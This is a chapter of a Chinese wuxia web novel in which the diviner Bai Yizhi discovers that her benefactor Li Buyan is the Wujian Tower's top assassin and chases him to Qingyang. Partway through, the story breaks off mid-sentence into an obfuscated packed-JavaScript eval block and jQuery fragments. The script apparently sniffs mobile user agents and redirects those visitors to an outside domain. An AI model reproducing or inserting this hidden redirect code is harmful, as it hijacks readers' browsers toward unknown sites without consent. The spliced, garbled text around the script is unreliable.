白宜之自幼就喜欢看各种江湖话本,每年各地出了哪些新鲜的排行榜,新奇的江湖话本游记,哥哥总会替她搜罗一番,送到她面前。
所以,江湖各大门派嘛,她也多少了解过一些。
无间楼,当世第一杀手组织。
无人知晓他们的大本营在何处,也无人知晓江湖中哪些人是无间楼的杀手。
但江湖中每年一出的风云百名录里会根据无间楼给出的名单,记载杀手排行榜,可记载的,不是本名,而是化名。
白宜之记得,今年的百名录中,杀手排第一的名字是——无名。
她也记得,这个无名,已经蝉联了两年杀手榜首。
无间楼的杀人准则便是:世人皆可杀。
每月初三,无间楼会在中原武林江湖乃至西域三十六国的黑市收取悬赏单。悬赏单上的目标不分男女老幼,正道邪魔,也不分权贵平民,只要上了悬赏单且被杀手接下,那么,此人一月之内,必死无疑。
他们有一柄剑,乃无间楼特制,外表与寻常剑器无甚区别,内里却大有乾坤,至于是究竟怎样的乾坤,却无人说得出口。因为,感受过那股乾坤的人,都死了。
《江湖风云》中记载,无间楼杀人时有独特的剑术,名作——无影决,相传此剑术能让持剑者化作七道残影,真身隐于暗处,七道残影持剑,将人的喉咙一剑割穿,而被杀者却死也不知道,是谁杀了自己。
江湖又传闻,说如今的无间楼楼主曾于十五年前,用此剑术,一夜屠尽西域十三城。
“小二,你为何如此笃定他就是无间楼的天字号杀手?”白宜之压下心中震惊恐慌,强行镇定,她手肘撑着桌子,手掌放在嘴边虚掩着,悄咪咪地问店小二,“传闻中这无间楼的杀手都是神龙不见首不见尾的,难道……你见过无间楼的人?”
“哎哟客官,您也别试探我!”店小二仍旧腆着笑脸,“这十多年来来往往的人多了去了,这些门道早就是江湖暗语了!”
他瞧着白宜之憨态可掬的神情,忍了又忍,最后还是压低声音,愈发悄声道:“我这也是瞧客官您面善,不忍您被骗,不过,我接下来说的话,您可千万千万别外传啊!”
白宜之猛点了两下头:“放心,我嘴乃是家中最严的!”
“这无间楼的杀手,剑上都刻有‘无间’二字,天字号的杀手会在剑上多刻一个‘天’字!那日我正巧在柜台,看见那男子手里拿着的,正是一柄这样的黑剑啊!”
想起昨夜贵人手中的剑,正是通体纯黑,可因为太过胆战害怕,未曾仔细瞧过剑上有没有刻字。
白宜之沉默良久,店小二见她不再说话,便揣着银子喜滋滋退开了。
所以,贵人不是剑客,是……杀手?
白宜之想过很多关于贵人杀人的理由,可他竟然不是因为江湖门派纠纷或发现不可告人的秘辛、因为某些陈年灭门惨案要报仇雪恨而杀人,只是一个……一个接下悬赏单就可以随意夺人生死的,杀手?
从前十八年读过的上万册话本都在告诉她,一个杀手,是不可能成为主角的。
他们承载的、代表的是杀戮血腥,是邪恶阴毒,是坏人不得好死的潦草又痛快的结局。
怎么可能……怎么可能会成为……卦象里的,贵人呢?
白宜之觉得自己脑袋上那片万里晴空的天空,好像骤然变得阴云密布,大雨即将倾盆,甚至,阴沉沉的天空上,出现一个黑漆漆的大洞,差点坍塌下来把她砸个稀巴烂。
右手紧握的龟壳似乎在自己手心里发着烫,像要烫穿皮肤,烫进血管白骨,又顺着血管爬向四肢。浑身瞬间发烫,火辣辣热烈的血液如熔浆,浇醒被阴沉暴雨的漆黑天空黑洞砸中的白宜之。
她忙不迭看向龟壳,放在桌子上,缓缓看着,隔了一会儿,拿出那半截牡丹玉钗,母亲温柔的模样好似在她眼前闪烁。
她看见,九岁的时候,母亲戴着牡丹玉钗,一点一点教她如何卜卦占算。
因她自小卜卦就从未出过错,所以总喜欢天天找府中的奴仆小厮们卜算,好给娘亲爹爹□□日炫耀自己有多么多么厉害。
可日子久了,她就不想只算爹爹哪只脚踏进门,厨娘刘姨今日哪只手提菜篮子买了哪些菜,车夫小五今日从哪个门出府又从哪个门回来之类的闲杂事情。
所以,她缠着精通卜卦的母亲教她真正的卜卦术。
母亲拗不过她,便日日教她。
“娘,我算不出来……”
起初,白宜之连爹爹去广陵几日可归都算不出来。
母亲就坐在院中的杏花树下,看着她落下的卦,替她摘去头发上沾着的杏花花瓣,轻声叹了一口气,笑着说:“阿蘅,心要静。不可只当卜卦为炫耀之物。你要知道,自己此卦为何而卜,是为心中所念,还是为旁人所念。”
“可是娘,从前我的卦,一向是如此算的,为何此次就不行了呢。”
母亲笑着摇头,指尖拂过飘落的杏花,花瓣轻轻放在小白宜之的掌心,“阿蘅从前只观表象只求自身,如今看他人卦求他人事,则要心静。你看,这杏花,风动花动,风停花停。若风是心,卦是花,则心动卦动,心静则卦静啊。”
“阿蘅要记得,以后欲求何事,都要先问,本心。卜卦之人最在乎的,是本心即静,即安。”
白宜之看着母亲拿起铜钱,衣袖都未曾飘动一分,没有她卜卦前又闭眼又夸张的振振有词,只是轻飘飘的,便落下一卦。
母亲摸着她的后脑勺,笑指卦象:“你看,这不就算出来了。”
白宜之回过神,呆坐了几秒,静下心,撇去那些慌乱惊骇,只余平澜无波。
小心翼翼收起玉钗,从锦绣袋里拿出三枚铜钱卦盘抛掷一番。
这次,算的是他,是善是恶。
《天机谱》中的善恶辩爻诀能一卦看善恶,她细细看去,便见此卦主卦是地天泰,变卦为山天大畜。六五爻,应爻官鬼酉金,生初九爻,世爻子孙寅木。
是善卦啊。
“剑衔杏花,血裹药囊。”
白宜之嘴里自然地蹦出一句谶语,“杏花……”
心中狂风暴雨随着这句谶语瞬间变作微风杏花雨,天色也霎时放晴。
她收起桌上之物,抚摸了一下龟壳上的裂痕,嘴角缓缓释放出笑意。
吃干净桌上的饭菜,白宜之收拾行囊,重新驾着马车往卦象中指引的方向——金陵。
不管怎么说,这个剑客,不对,杀手,既然是她卦里的贵人,善恶辩爻诀又辨出他乃至善之人,那她就不可能因为小小困难区区害怕就丢了魂不敢跟着他了。
从锦城往金陵去须十日,白宜之赶在午时前驾车踏出城门,却没看见杀手的一点踪迹。
她却并不在此逗留等着杀手,而是火速赶去青阳。只是刚起手驾车,鼻尖突然渗出一丝鼻血,她赶忙用手帕拭去,喃喃自语:“果然,这两日辛辣吃多了,都上火了!等到了青阳,得去买碗朱雀汤喝。”
鼻血只流了一点点,白宜之擦干净后又重新驾马,“吁”的一声,千里驹带着她飞奔而去。
青阳是去金陵的必经之路,杀手一定会在那经过此城。
李不言躲在树林暗处,看着城门口那辆大摇大摆的马车,他倒是越发确定这缺根筋的富家小姐是私逃出来的。
毕竟,谁家穿金戴银的千金亲自驾马车啊!
“千里驹竟然被她用来拉车!真是牛鼎烹鸡!”李不言看着缺根筋的小姐驾车远去,眼底闪过一丝垂涎欲滴的渴望,“要是我有一匹千里驹的话,还需要靠两条腿来回倒腾着去金陵?”
他见马车不见踪影,一边飞出树林朝青阳而去,一边恶劣地想着:不如,去把这缺心眼的千里驹偷了吧?也算是为她好,让她早早地打道回府安享富贵嘛。
青阳不算远,李不言没日没夜地赶路,比白宜之先一步到城内后径直去了一家布行。
他踏入门内,手中的剑出鞘三分,掌柜的一凝一愣,赶忙引他去见了布行老板。
布行老板肥头大耳,大腹便便,坐在圈椅上,肚子上的肉都勒出了椅子外。
他抬眼看见李不言,愣了一秒,赶忙从椅子上站起来,却因为太过恐慌着急,带着椅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632349|172577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子一同跌在地上,堪堪站稳后用袖子擦了擦额间虚汗,忙问:“无名大人来此,有何贵干啊?”
这布行老板也姓李,是无间楼在青阳的线人,本不该如此惧怕李不言,却因为两年前去无间楼回禀差事时没选好日子,亲眼瞧见李不言斩落五大天字杀手的第一名——池瑕的脑袋。
李不言拎着热乎乎血淋淋的脑袋路过李老板,他只不过多看了一眼,就被李不言阴气森森的眼睛瞪着,还笑着问他:“你看什么呢?难不成也想让我把你的脑袋割下来献给楼主吗?”
当时的李不言,一身蓝衣被染成血红色,满脸的血渍,左手骨折弯曲着,胸口被池瑕的剑划出一个大口子,露出里面被刺破露出血肉白骨的剑伤。
却仍旧能笑着威胁李老板,甚至还能用骨折的左手扬起剑,刺破李老板脖颈处的衣襟。
李老板捂着脖子,当场吓得下跪。
至此,那一幕就成了他终生的梦魇。
李不言倒不知道李老板在回忆当年他的壮举,只饶有兴味的瞧着他这幅蠢模样,嘴角勾了勾,又好似自己才是此间主人般,拖着倒下的圈椅坐在主位,施施然坐下来,命令般开口:“也没什么,就是,想请李老板,借我十两银子。”
“好说……好说,区区十两……十两?!”李老板努力瞪大被脸上横肉挤成缝隙的两只眼睛,颇有些不确定的,小心翼翼地问了一句,“大人,来我这里,就只是,为了借十两银子?”
“不然呢?”李不言手指挑起桌上的玉蟾蜍,仔细端详着,“难不成我是专程来看你这堆肥肉是怎么跟椅子摔跤的吗?”
李老板不敢怒,只一个劲儿赔笑:“哈哈,大人说的是,说的是。我这就给大人送十两银子,大人就不必还了,只是十两而已。”
他拿出一锭十两道雪花银,奉承献媚的递到李不言面前,“大人,请。”
李不言搁下玉蟾蜍,拿过银子,笑着看向李老板,“诶,李老板这是哪里的话,十两银子可不少,虽说李老板不缺这十两,但无名可是个说一不二的人,这日后,自然是得还给李老板的。”
在李老板一连串的“是,是,是,大人乃守信之人”“不着急不着急”“慢慢还慢慢还”的声音中,李不言站起身往外面走去,走至门口时忽然想起什么,转头指了指圈椅,点了点李老板的胖如两人的身形,摇了摇头。
“啧,李老板,你还是减减肥吧,估摸着再过几天,这椅子都塞不下你了。瞧你这样,轻功怕是够呛,你说你,要是某日不小心上了悬赏单被不长眼的新人接下了可怎么逃命呐!”
说完,就笑着扬长而去,只留下李老板一人惶惶不安。
李老板靠着墙,看了一眼圈椅,又看了一眼自己肚子上的肉,突然大声喊着小厮:“刘儿!从此以后,本老板的膳食统统减半!我要减肥!”
此时白宜之挎着锦绣袋子,刚将马车停在布行门口。又刚抬头,就看见李不言悠哉游哉地从布行出来。
她赶忙招手,大喊:“贵人!贵人!贵人!”
李不言踏出门槛时正在想十两银子的用处:
万阐宗受邀去比剑大会坐镇,范鸠必会出现在孔雀台。所以这五两嘛,就用来买比剑大会的入场名额,余下五两呢,就用作盘缠吧!
结果刚想到中午吃包子还是面条,就听见身后陡然出现一声又一声喊着“贵人”的熟悉音调。
李不言抛银锭的动作一顿,身形猛地一僵,悠闲的步子瞬间消失。
不是,这缺心眼儿少根筋的蠢女人怎么也来青阳了?还以为她驾个马车回家了呢,关键,怎么还这么巧地让她跟撞见了?
他来不及思考再多,连头都没回,身影顿在原地片刻都未到,就赶忙收起银锭拔腿就跑,霎时消失在人群中,连条发带都瞧不见了。
白宜之还没来得及跑到李不言面前,就看见他的背影咻一下,不见了。
似在躲邪祟一般。
她咬紧牙关,又露出一种“你逃不出我的手掌心般的”甜甜笑容,跑进马车内算了一卦方位。
贵人往西去了。
追!